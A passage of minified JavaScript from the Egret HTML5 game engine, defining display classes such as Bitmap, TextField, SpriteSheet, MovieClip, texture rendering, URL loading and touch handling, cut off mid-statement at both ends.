p=w.scale9Grid||u.scale9Grid;if(p&&s-p.width<v&&t-p.height<i){d.drawScale9GridImage(x,w,p,v,i)}else{var p=u._offsetX,o=u._offsetY,n=u._bitmapWidth||s,j=u._bitmapHeight||t;v/=s;p=Math.round(p*v);v=Math.round(n*v);i/=t;o=Math.round(o*i);i=Math.round(j*i);a.RenderFilter.getInstance().drawImage(x,w,u._bitmapX,u._bitmapY,n,j,p,o,v,i)}}else{d.drawRepeatImage(x,w,v,i)}}};d.drawRepeatImage=function(E,z,C,A){var v=z._texture_to_render;if(v){for(var t=v._textureWidth,u=v._textureHeight,r=v._bitmapX,p=v._bitmapY,o=v._bitmapWidth||t,i=v._bitmapHeight||u,j=v._offsetX,v=v._offsetY,G=a.RenderFilter.getInstance();j<C;j+=t){for(var D=v;D<A;D+=u){var B=Math.min(o,C-j),F=Math.min(i,A-D);G.drawImage(E,z,r,p,B,F,j,D,B,F)}}}};d.drawScale9GridImage=function(O,L,N,M,K){var I=L._texture_to_render;if(I&&N){var J=a.RenderFilter.getInstance(),H=I._textureWidth,G=I._textureHeight,F=I._bitmapX,C=I._bitmapY,E=I._bitmapWidth||H,B=I._bitmapHeight||G,o=I._offsetX,I=I._offsetY;N=a.Rectangle.identity.initialize(N.x-Math.round(o),N.y-Math.round(o),N.width,N.height);o=Math.round(o);I=Math.round(I);M-=H-E;K-=G-B;N.y==N.bottom&&(N.bottom<B?N.bottom++:N.y--);N.x==N.right&&(N.right<E?N.right++:N.x--);var H=F+N.x,G=F+N.right,j=E-N.right,p=C+N.y,i=C+N.bottom,r=B-N.bottom,D=o+N.x,t=I+N.y,B=K-(B-N.bottom),E=M-(E-N.right);J.drawImage(O,L,F,C,N.x,N.y,o,I,N.x,N.y);J.drawImage(O,L,H,C,N.width,N.y,D,I,E-N.x,N.y);J.drawImage(O,L,G,C,j,N.y,o+E,I,M-E,N.y);J.drawImage(O,L,F,p,N.x,N.height,o,t,N.x,B-N.y);J.drawImage(O,L,H,p,N.width,N.height,D,t,E-N.x,B-N.y);J.drawImage(O,L,G,p,j,N.height,o+E,t,M-E,B-N.y);J.drawImage(O,L,F,i,N.x,r,o,I+B,N.x,K-B);J.drawImage(O,L,H,i,N.width,r,D,I+B,E-N.x,K-B);J.drawImage(O,L,G,i,j,r,o+E,I+B,M-E,K-B)}};d.prototype._measureBounds=function(){var c=this._texture;return c?a.Rectangle.identity.initialize(c._offsetX,c._offsetY,c._textureWidth,c._textureHeight):e.prototype._measureBounds.call(this)};d.debug=!1;return d}(a.DisplayObject);a.Bitmap=b;b.prototype.__class__="egret.Bitmap"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._text="";this._textChanged=!1;this._bitmapPool=[]}__extends(d,e);Object.defineProperty(d.prototype,"text",{get:function(){return this._text},set:function(c){this._textChanged=!0;this._text=c},enumerable:!0,configurable:!0});d.prototype._updateTransform=function(){this.visible&&(this._textChanged&&this._renderText(),e.prototype._updateTransform.call(this))};d.prototype._renderText=function(s){var p=s=0;this._textChanged&&this.removeChildren();for(var r=0,q=this.text.length;r<q;r++){var o=this.text.charAt(r),m=this.spriteSheet.getTexture(o);if(null==m){console.log("\u5f53\u524d\u6ca1\u6709\u4f4d\u56fe\u6587\u5b57\uff1a"+o)}else{var o=m._offsetX,n=m._offsetY,j=m._textureWidth;if(this._textChanged){var i=this._bitmapPool[r];i||(i=new a.Bitmap,this._bitmapPool.push(i));i.texture=m;this.addChild(i);i.x=s}s+=j+o;n+m._textureHeight>p&&(p=n+m._textureHeight)}}this._textChanged=!1;return a.Rectangle.identity.initialize(0,0,s,p)};d.prototype._measureBounds=function(){return this._renderText(!0)};return d}(a.DisplayObjectContainer);a.BitmapText=b;b.prototype.__class__="egret.BitmapText"})(egret||(egret={}));(function(a){var b=function(){function c(){this.commandQueue=[]}c.prototype.beginFill=function(d,e){};c.prototype._setStyle=function(d){};c.prototype.drawRect=function(f,g,i,h){};c.prototype.drawCircle=function(e,f,g){};c.prototype.drawRoundRect=function(g,h,k,j,l,i){};c.prototype.drawEllipse=function(f,g,i,h){};c.prototype.lineStyle=function(i,j,o,n,p,m,k,l){};c.prototype.lineTo=function(d,e){};c.prototype.curveTo=function(f,g,i,h){};c.prototype.moveTo=function(d,e){};c.prototype.clear=function(){};c.prototype.endFill=function(){};c.prototype._draw=function(d){};return c}();a.Graphics=b;b.prototype.__class__="egret.Graphics";(function(){return function(f,c,d){this.method=f;this.thisObject=c;this.args=d}})().prototype.__class__="Command"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this)}__extends(d,e);Object.defineProperty(d.prototype,"graphics",{get:function(){this._graphics||(this._graphics=new a.Graphics);return this._graphics},enumerable:!0,configurable:!0});d.prototype._render=function(c){this._graphics&&this._graphics._draw(c)};return d}(a.DisplayObject);a.Shape=b;b.prototype.__class__="egret.Shape"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this)}__extends(d,e);Object.defineProperty(d.prototype,"graphics",{get:function(){this._graphics||(this._graphics=new a.Graphics);return this._graphics},enumerable:!0,configurable:!0});d.prototype._render=function(c){this._graphics&&this._graphics._draw(c);e.prototype._render.call(this,c)};return d}(a.DisplayObjectContainer);a.Sprite=b;b.prototype.__class__="egret.Sprite"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._fontFamily="Arial";this._size=30;this._textColorString="#FFFFFF";this._textColor=16777215;this._strokeColorString="#000000";this._stroke=this._strokeColor=0;this._textAlign="left";this._verticalAlign="top";this._numLines=this._lineSpacing=0;this.measuredWidths=[]}__extends(d,e);Object.defineProperty(d.prototype,"text",{get:function(){return this._text},set:function(c){this._text!=c&&(this._setTextDirty(),this._text=c)},enumerable:!0,configurable:!0});d.prototype._setTextDirty=function(){this._setSizeDirty()};Object.defineProperty(d.prototype,"fontFamily",{get:function(){return this._fontFamily},set:function(c){this._fontFamily!=c&&(this._setTextDirty(),this._fontFamily=c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"size",{get:function(){return this._size},set:function(c){this._size!=c&&(this._setTextDirty(),this._size=c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"italic",{get:function(){return this._italic},set:function(c){this._italic!=c&&(this._setTextDirty(),this._italic=c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"bold",{get:function(){return this._bold},set:function(c){this._bold!=c&&(this._setTextDirty(),this._bold=c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"textColor",{get:function(){return this._textColor},set:function(c){this._textColor!=c&&(this._setTextDirty(),this._textColor=c,this._textColorString=a.toColorString(c))},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"strokeColor",{get:function(){return this._strokeColor},set:function(c){this._strokeColor!=c&&(this._setTextDirty(),this._strokeColor=c,this._strokeColorString=a.toColorString(c))},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"stroke",{get:function(){return this._stroke},set:function(c){this._stroke!=c&&(this._setTextDirty(),this._stroke=c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"textAlign",{get:function(){return this._textAlign},set:function(c){this._textAlign!=c&&(this._setTextDirty(),this._textAlign=c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"verticalAlign",{get:function(){return this._verticalAlign},set:function(c){this._verticalAlign!=c&&(this._setTextDirty(),this._verticalAlign=c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"lineSpacing",{get:function(){return this._lineSpacing},set:function(c){this._lineSpacing!=c&&(this._setTextDirty(),this._lineSpacing=c)},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"numLines",{get:function(){return this._numLines},enumerable:!0,configurable:!0});d.prototype._render=function(c){this.drawText(c,!1);this._clearDirty()};d.prototype._measureBounds=function(){return this.drawText(a.MainContext.instance.rendererContext,!0)};d.prototype.drawText=function(E,z){var C=this.getTextLines(E);if(!C){return a.Rectangle.identity.initialize(0,0,0,0)}var A=C.length,v=0.5*this._size,t=this._size+this._lineSpacing,u=A*t-this._lineSpacing;this._textHeight=u;var r=this._hasHeightSet?this._explicitHeight:Number.POSITIVE_INFINITY;if(this._hasHeightSet&&u<r){var p=0;this._verticalAlign==a.VerticalAlign.MIDDLE?p=0.5:this._verticalAlign==a.VerticalAlign.BOTTOM&&(p=1);v+=p*(r-u)}var p=v=Math.round(v),o=0;this._textAlign==a.HorizontalAlign.CENTER?o=0.5:this._textAlign==a.HorizontalAlign.RIGHT&&(o=1);var i=this.measuredWidths,j;j=this._hasWidthSet?this._explicitWidth:this._textWidth;for(var G=Number.POSITIVE_INFINITY,D=0;D<A;D++){var B=C[D],F=Math.round((j-i[D])*o);F<G&&(G=F);!z&&v<r&&E.drawText(this,B,F,v,j);v+=t}return a.Rectangle.identity.initialize(G,p,j,u)};d.prototype.getTextLines=function(A){var v=this.text?this.text.toString():"";if(!v){return null}var y=this.measuredWidths;y.length=0;A.setupFont(this);var v=v.split(/(?:\r\n|\r|\n)/),u=v.length,w=0;if(this._hasWidthSet){for(var t=this._explicitWidth,r=0;r<u;r++){var p=v[r],o=A.measureText(p);if(o>t){for(var j="",h=0,i=p.length,B=0;B<i;B++){var z=p.charAt(B),o=A.measureText(z);h+o>t&&(0==h?(v.splice(r,0,z),y[r]=o,w<o&&(w=o),o=0,z=""):(v.splice(r,0,j),y[r]=h,w<h&&(w=h),j="",h=0),r++,u++);h+=o;j+=z}v[r]=j;y[r]=h}else{y[r]=o,w<o&&(w=o)}}}else{for(r=0;r<u;r++){p=v[r],o=A.measureText(p),y[r]=o,w<o&&(w=o)}}this._textWidth=w;return v};return d}(a.DisplayObject);a.TextField=b;b.prototype.__class__="egret.TextField"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.DYNAMIC="dynamic";c.INPUT="input";return c}();a.TextFieldType=b;b.prototype.__class__="egret.TextFieldType"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c){e.call(this);var f=c.bitmapData;this.bitmapData=f;this._textureMap={};this._sourceWidth=f.width;this._sourceHeight=f.height;this._bitmapX=c._bitmapX-c._offsetX;this._bitmapY=c._bitmapY-c._offsetY}__extends(d,e);d.prototype.getTexture=function(c){return this._textureMap[c]};d.prototype.createTexture=function(u,r,t,s,q,o,p,n,j){"undefined"===typeof o&&(o=0);"undefined"===typeof p&&(p=0);"undefined"===typeof n&&(n=o+s);"undefined"===typeof j&&(j=p+q);var i=new a.Texture;i._bitmapData=this.bitmapData;i._bitmapX=this._bitmapX+r;i._bitmapY=this._bitmapY+t;i._bitmapWidth=s;i._bitmapHeight=q;i._offsetX=o;i._offsetY=p;i._textureWidth=n;i._textureHeight=j;i._sourceWidth=this._sourceWidth;i._sourceHeight=this._sourceHeight;return this._textureMap[u]=i};return d}(a.HashObject);a.SpriteSheet=b;b.prototype.__class__="egret.SpriteSheet"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._size=30;this._textColorString="#FFFFFF";this._textColor=16777215;this.stageText=new a.StageText;var c=this.localToGlobal();this.stageText._open(c.x,c.y,this._explicitWidth,this._explicitHeight)}__extends(d,e);d.prototype._onAddToStage=function(){e.prototype._onAddToStage.call(this);this.stageText._add();this.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.onMouseDownHandler,this)};d.prototype.setText=function(c){this.stageText._setText(c)};d.prototype.getText=function(){return this.stageText._getText()};d.prototype.setTextType=function(c){this.stageText._setTextType(c)};d.prototype.getTextType=function(){return this.stageText._getTextType()};d.prototype.onMouseDownHandler=function(c){};d.prototype._onRemoveFromStage=function(){this.stageText._remove()};d.prototype._measureBounds=function(){return a.Rectangle.identity};d.prototype.hitTest=function(f,g,c){return null};d.prototype._updateTransform=function(){var f=this._worldTransform.a,m=this._worldTransform.b,c=this._worldTransform.c,l=this._worldTransform.d,k=this._worldTransform.tx,i=this._worldTransform.ty;e.prototype._updateTransform.call(this);var j=this._worldTransform;if(f!=j.a||m!=j.b||c!=j.c||l!=j.d||k!=j.tx||i!=j.ty){f=this.localToGlobal(),this.stageText.changePosition(f.x,f.y),this.stageText.changeSize(this._explicitWidth,this._explicitHeight)}};Object.defineProperty(d.prototype,"size",{get:function(){return this._size},set:function(c){this._size!=c&&(this._size=c,this.stageText.setSize(this._size))},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"textColor",{get:function(){return this._textColor},set:function(c){this._textColor!=c&&(this._textColor=c,this._textColorString=a.toColorString(c),this.stageText.setTextColor(this._textColorString))},enumerable:!0,configurable:!0});return d}(a.DisplayObject);a.TextInput=b;b.prototype.__class__="egret.TextInput"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(d){function c(e,f){d.call(this,e);this.charList=this.parseConfig(f)}__extends(c,d);c.prototype.getTexture=function(e){var f=this._textureMap[e];if(!f){f=this.charList[e];if(!f){return null}f=this.createTexture(e,f.x,f.y,f.width,f.height,f.offsetX,f.offsetY);this._textureMap[e]=f}return f};c.prototype.parseConfig=function(i){i=i.split("\r\n").join("\n");i=i.split("\n");for(var m=this.getConfigByKey(i[3],"count"),h={},l=4;l<4+m;l++){var n=i[l],k=String.fromCharCode(this.getConfigByKey(n,"id")),j={};h[k]=j;j.x=this.getConfigByKey(n,"x");j.y=this.getConfigByKey(n,"y");j.width=this.getConfigByKey(n,"width");j.height=this.getConfigByKey(n,"height");j.offsetX=this.getConfigByKey(n,"xoffset");j.offsetY=this.getConfigByKey(n,"yoffset")}return h};c.prototype.getConfigByKey=function(h,k){for(var g=h.split(" "),j=0,l=g.length;j<l;j++){var i=g[j];if(k==i.substring(0,k.length)){return g=i.substring(k.length+1),parseInt(g)}}return 0};return c}(a.SpriteSheet);a.BitmapTextSpriteSheet=b;b.prototype.__class__="egret.BitmapTextSpriteSheet"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(b){var d=function(c){function e(g,f){c.call(this);this.frameRate=60;g instanceof a?(b.Logger.warning("MovieClip#constructor\u63a5\u53e3\u53c2\u6570\u5df2\u7ecf\u53d8\u66f4\uff0c\u8bf7\u5c3d\u5feb\u8c03\u6574\u7528\u6cd5\u4e3a new MovieClip(data,texture)"),this.delegate=g):this.delegate=new a(g,f);this.delegate.setMovieClip(this)}__extends(e,c);e.prototype.gotoAndPlay=function(f){this.delegate.gotoAndPlay(f)};e.prototype.gotoAndStop=function(f){this.delegate.gotoAndStop(f)};e.prototype.stop=function(){this.delegate.stop()};e.prototype.dispose=function(){this.delegate.dispose()};e.prototype.release=function(){b.Logger.warning("MovieClip#release\u65b9\u6cd5\u5373\u5c06\u5e9f\u5f03");this.dispose()};e.prototype.getCurrentFrameIndex=function(){b.Logger.warning("MovieClip#getCurrentFrameIndex\u65b9\u6cd5\u5373\u5c06\u5e9f\u5f03");return this.delegate._currentFrameIndex};e.prototype.getTotalFrame=function(){b.Logger.warning("MovieClip#getTotalFrame\u65b9\u6cd5\u5373\u5c06\u5e9f\u5f03");return this.delegate._totalFrame};e.prototype.setInterval=function(f){b.Logger.warning("MovieClip#setInterval\u65b9\u6cd5\u5373\u5c06\u5e9f\u5f03,\u8bf7\u4f7f\u7528MovieClip#frameRate\u4ee3\u66ff");this.frameRate=60/f};e.prototype.getIsPlaying=function(){b.Logger.warning("MovieClip#getIsPlaying\u65b9\u6cd5\u5373\u5c06\u5e9f\u5f03");return this.delegate.isPlaying};return e}(b.DisplayObjectContainer);b.MovieClip=d;d.prototype.__class__="egret.MovieClip";var a=function(){function c(e,f){this.data=e;this._currentFrameIndex=this._passTime=this._totalFrame=0;this._isPlaying=!1;this._frameData=e;this._spriteSheet=new b.SpriteSheet(f)}c.prototype.setMovieClip=function(e){this.movieClip=e;this.bitmap=new b.Bitmap;this.movieClip.addChild(this.bitmap)};c.prototype.gotoAndPlay=function(e){this.checkHasFrame(e);this._isPlaying=!0;this._currentFrameIndex=0;this._currentFrameName=e;this._totalFrame=this._frameData.frames[e].totalFrame;this.playNextFrame();this._passTime=0;b.Ticker.getInstance().register(this.update,this)};c.prototype.gotoAndStop=function(e){this.checkHasFrame(e);this.stop();this._currentFrameIndex=this._passTime=0;this._currentFrameName=e;this._totalFrame=this._frameData.frames[e].totalFrame;this.playNextFrame()};c.prototype.stop=function(){this._isPlaying=!1;b.Ticker.getInstance().unregister(this.update,this)};c.prototype.dispose=function(){};c.prototype.checkHasFrame=function(e){void 0==this._frameData.frames[e]&&b.Logger.fatal("MovieClip\u6ca1\u6709\u5bf9\u5e94\u7684frame\uff1a",e)};c.prototype.update=function(e){for(var f=1000/this.movieClip.frameRate,f=Math.floor((this._passTime%f+e)/f);1<=f;){1==f?this.playNextFrame():this.playNextFrame(!1),f--}this._passTime+=e};c.prototype.playNextFrame=function(f){"undefined"===typeof f&&(f=!0);var g=this._frameData.frames[this._currentFrameName].childrenFrame[this._currentFrameIndex];if(f){f=this.getTexture(g.res);var e=this.bitmap;e.x=g.x;e.y=g.y;e.texture=f}null!=g.action&&this.movieClip.dispatchEventWith(g.action);this._currentFrameIndex++;this._currentFrameIndex==this._totalFrame&&(this._currentFrameIndex=0)};c.prototype.getTexture=function(f){var g=this._frameData.res[f],e=this._spriteSheet.getTexture(f);e||(e=this._spriteSheet.createTexture(f,g.x,g.y,g.w,g.h));return e};return c}();b.DefaultMovieClipDelegate=a;a.prototype.__class__="egret.DefaultMovieClipDelegate"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._size=20}__extends(d,e);d.prototype._getText=function(){return this.inputElement.value};d.prototype._setText=function(c){this.inputElement.value=c};d.prototype._setTextType=function(c){this.inputElement.type=c};d.prototype._getTextType=function(){return this.inputElement.type};d.prototype._open=function(j,n,i,o){"undefined"===typeof i&&(i=160);o=a.StageDelegate.getInstance().getScaleX();var m=a.StageDelegate.getInstance().getScaleY(),k=document.createElement("input");k.type="text";k.style.fontSize=this._size+"px";k.style.color="#FFFFFF";k.style.border="none";k.style.background="none";k.style.width=i+"px";k.style.padding="0";k.style.outline="medium";var l=a.Browser.getInstance().$new("div");l.position.x=j*o;l.position.y=n*m;l.style.width=i+"px";l.scale.x=o;l.scale.y=m;l.transforms();l.style[egret_dom.getTrans("transformOrigin")]="0% 0% 0px";l.appendChild(k);this.div=l;this.inputElement=k};d.prototype.getStageDelegateDiv=function(){var c=a.Browser.getInstance().$("#StageDelegateDiv");c||(c=a.Browser.getInstance().$new("div"),c.id="StageDelegateDiv",document.getElementById(a.StageDelegate.canvas_div_name).appendChild(c),c.transforms());return c};d.prototype._add=function(){var c=this.div;c&&!c.parentNode&&this.getStageDelegateDiv().appendChild(c)};d.prototype._remove=function(){var c=this.div;c&&c.parentNode&&c.parentNode.removeChild(c)};d.prototype.changePosition=function(g,h){var f=a.StageDelegate.getInstance().getScaleX(),i=a.StageDelegate.getInstance().getScaleY();this.div.position.x=g*f;this.div.position.y=h*i;this.div.transforms()};d.prototype.changeSize=function(c,f){this.inputElement.style.width=c+"px";this.div.style.width=c+"px";this.div.transforms()};d.prototype.setSize=function(c){this._size=c;this.inputElement.style.fontSize=this._size+"px"};d.prototype.setTextColor=function(c){this.inputElement.style.color=c};return d}(a.HashObject);a.StageText=b;b.prototype.__class__="egret.StageText"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.GET="GET";c.POST="POST";return c}();a.URLRequestMethod=b;b.prototype.__class__="egret.URLRequestMethod"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.BINARY="binary";c.TEXT="text";c.VARIABLES="variables";c.TEXTURE="texture";c.SOUND="sound";return c}();a.URLLoaderDataFormat=b;b.prototype.__class__="egret.URLLoaderDataFormat"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(d){function c(e){"undefined"===typeof e&&(e=null);d.call(this);null!==e&&this.decode(e)}__extends(c,d);c.prototype.decode=function(f){this.variables||(this.variables={});f=f.split("+").join(" ");for(var g,e=/[?&]?([^=]+)=([^&]*)/g;g=e.exec(f);){this.variables[decodeURIComponent(g[1])]=decodeURIComponent(g[2])}};c.prototype.toString=function(){if(!this.variables){return""}var g=this.variables,i="",f=!0,h;for(h in g){f?f=!1:i+="&",i+=h+"="+g[h]}return i};return c}(a.HashObject);a.URLVariables=b;b.prototype.__class__="egret.URLVariables"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c){"undefined"===typeof c&&(c=null);e.call(this);this.method=a.URLRequestMethod.GET;this.url=c}__extends(d,e);return d}(a.HashObject);a.URLRequest=b;b.prototype.__class__="egret.URLRequest"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(c){"undefined"===typeof c&&(c=null);e.call(this);this.dataFormat=a.URLLoaderDataFormat.TEXT;c&&this.load(c)}__extends(d,e);d.prototype.load=function(c){this._request=c;this.data=null;a.MainContext.instance.netContext.proceed(this)};return d}(a.EventDispatcher);a.URLLoader=b;b.prototype.__class__="egret.URLLoader"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._textureHeight=this._textureWidth=this._offsetY=this._offsetX=this._bitmapHeight=this._bitmapWidth=this._bitmapY=this._bitmapX=0}__extends(d,e);Object.defineProperty(d.prototype,"textureWidth",{get:function(){return this._textureWidth},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"textureHeight",{get:function(){return this._textureHeight},enumerable:!0,configurable:!0});Object.defineProperty(d.prototype,"bitmapData",{get:function(){return this._bitmapData},enumerable:!0,configurable:!0});d.prototype._setBitmapData=function(c){var f=a.MainContext.instance.rendererContext.texture_scale_factor;this._bitmapData=c;this._sourceWidth=c.width;this._sourceHeight=c.height;this._textureWidth=this._sourceWidth*f;this._textureHeight=this._sourceHeight*f;this._bitmapWidth=this._textureWidth;this._bitmapHeight=this._textureHeight;this._offsetX=this._offsetY=this._bitmapX=this._bitmapY=0};d.prototype.getPixel32=function(c,f){return this._bitmapData.getContext("2d").getImageData(c,f,1,1).data};return d}(a.HashObject);a.Texture=b;b.prototype.__class__="egret.Texture"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._bitmapData=document.createElement("canvas");this.renderContext=a.RendererContext.createRendererContext(this._bitmapData)}__extends(d,e);d.prototype.drawToTexture=function(g){var h=this._bitmapData,f=g.getBounds(a.Rectangle.identity);h.width=f.width;h.height=f.height;g._worldTransform.identity();g.worldAlpha=1;if(g instanceof a.DisplayObjectContainer){this._offsetX=f.x;this._offsetY=f.y;g._worldTransform.append(1,0,0,1,-f.x,-f.y);for(var h=g._children,f=0,i=h.length;f<i;f++){h[f]._updateTransform()}}h=a.RenderFilter.getInstance();f=h._drawAreaList.concat();h._drawAreaList.length=0;this.renderContext.clearScreen();this.webGLTexture=null;(i=g.mask||g._scrollRect)&&this.renderContext.pushMask(i);g._render(this.renderContext);i&&this.renderContext.popMask();h._drawAreaList=f;this._textureWidth=this._bitmapData.width;this._textureHeight=this._bitmapData.height;this._sourceWidth=this._textureWidth;this._sourceHeight=this._textureHeight};return d}(a.Texture);a.RenderTexture=b;b.prototype.__class__="egret.RenderTexture"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this.renderCost=0;this.texture_scale_factor=1}__extends(d,e);d.prototype.clearScreen=function(){};d.prototype.clearRect=function(f,h,c,g){};d.prototype.drawImage=function(s,p,r,q,o,m,n,j,i){a.Profiler.getInstance().onDrawImage()};d.prototype.setTransform=function(c){};d.prototype.setAlpha=function(c,f){};d.prototype.setupFont=function(c){};d.prototype.measureText=function(c){return 0};d.prototype.drawText=function(h,j,g,k,i){a.Profiler.getInstance().onDrawImage()};d.prototype.strokeRect=function(g,i,f,h,j){};d.prototype.pushMask=function(c){};d.prototype.popMask=function(){};d.createRendererContext=function(c){return null};return d}(a.HashObject);a.RendererContext=b;b.prototype.__class__="egret.RendererContext"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.MOUSE="mouse";c.TOUCH="touch";c.mode="touch";return c}();a.InteractionMode=b;b.prototype.__class__="egret.InteractionMode"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this._currentTouchTarget={};this.maxTouches=2;this.touchDownTarget={};this.touchingIdentifiers=[];this.lastTouchY=this.lastTouchX=-1}__extends(d,e);d.prototype.run=function(){};d.prototype.getTouchData=function(f,h,c){var g=this._currentTouchTarget[f];null==g&&(g={},this._currentTouchTarget[f]=g);g.stageX=h;g.stageY=c;g.identifier=f;return g};d.prototype.dispatchEvent=function(c,f){a.TouchEvent.dispatchTouchEvent(f.target,c,f.identifier,f.stageX,f.stageY,!1,!1,!1,!0==this.touchDownTarget[f.identifier])};d.prototype.onTouchBegan=function(g,h,f){if(this.touchingIdentifiers.length!=this.maxTouches){var i=a.MainContext.instance.stage.hitTest(g,h);i&&(g=this.getTouchData(f,g,h),this.touchDownTarget[f]=!0,g.target=i,g.beginTarget=i,this.dispatchEvent(a.TouchEvent.TOUCH_BEGIN,g));this.touchingIdentifiers.push(f)}};d.prototype.onTouchMove=function(g,h,f){if(-1!=this.touchingIdentifiers.indexOf(f)&&(g!=this.lastTouchX||h!=this.lastTouchY)){this.lastTouchX=g;this.lastTouchY=h;var i=a.MainContext.instance.stage.hitTest(g,h);i&&(g=this.getTouchData(f,g,h),g.target=i,this.dispatchEvent(a.TouchEvent.TOUCH_MOVE,g))}};d.prototype.onTouchEnd=function(g,h,f){var i=this.touchingIdentifiers.indexOf(f);-1!=i&&(this.touchingIdentifiers.splice(i,1),i=a.MainContext.instance.stage.hitTest(g,h))&&(g=this.getTouchData(f,g,h),delete this.touchDownTarget[f],f=g.beginTarget,g.target=i,this.dispatchEvent(a.TouchEvent.TOUCH_END,g),f==i?this.dispatchEvent(a.TouchEvent.TOUCH_TAP,g):g.beginTarget&&(g.target=g.beginTarget,this.dispatchEvent(a.TouchEvent.TOUCH_RELEASE_OUTSIDE,g)),delete this._currentTouchTarget[g.identifier])};return d}(a.HashObject);a.TouchContext=b;b.prototype.__class__="egret.TouchContext"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(d){function c(){d.call(this)}__extends(c,d);c.prototype.proceed=function(e){};return c}(a.HashObject);a.NetContext=b;b.prototype.__class__="egret.NetContext"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(d){function c(){d.call(this);this.frameRate=60}__extends(c,d);c.prototype.executeMainLoop=function(e,f){};return c}(a.HashObject);a.DeviceContext=b;b.prototype.__class__="egret.DeviceContext"})(egret||(egret={}));(function(a){var b=function(){function c(){}c.call=function(d,e){};c.addCallback=function(d,e){};return c}();a.ExternalInterface=b;b.prototype.__class__="egret.ExternalInterface"})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){var b=function(e){function d(){e.call(this);this.translate=this.isHD?function(f){return"translate3d("+f.x+"px, "+(f.y-a.MainContext.instance.stage.stageHeight)+"px, 0) "}:function(f){return"translate("+f.x+"px, "+f.y+"px) "};this.rotate=this.isHD?function(f){return"rotateZ("+f+"deg) "}:function(f){return"rotate("+f+"deg) "};this.ua=navigator.userAgent.toLowerCase();var 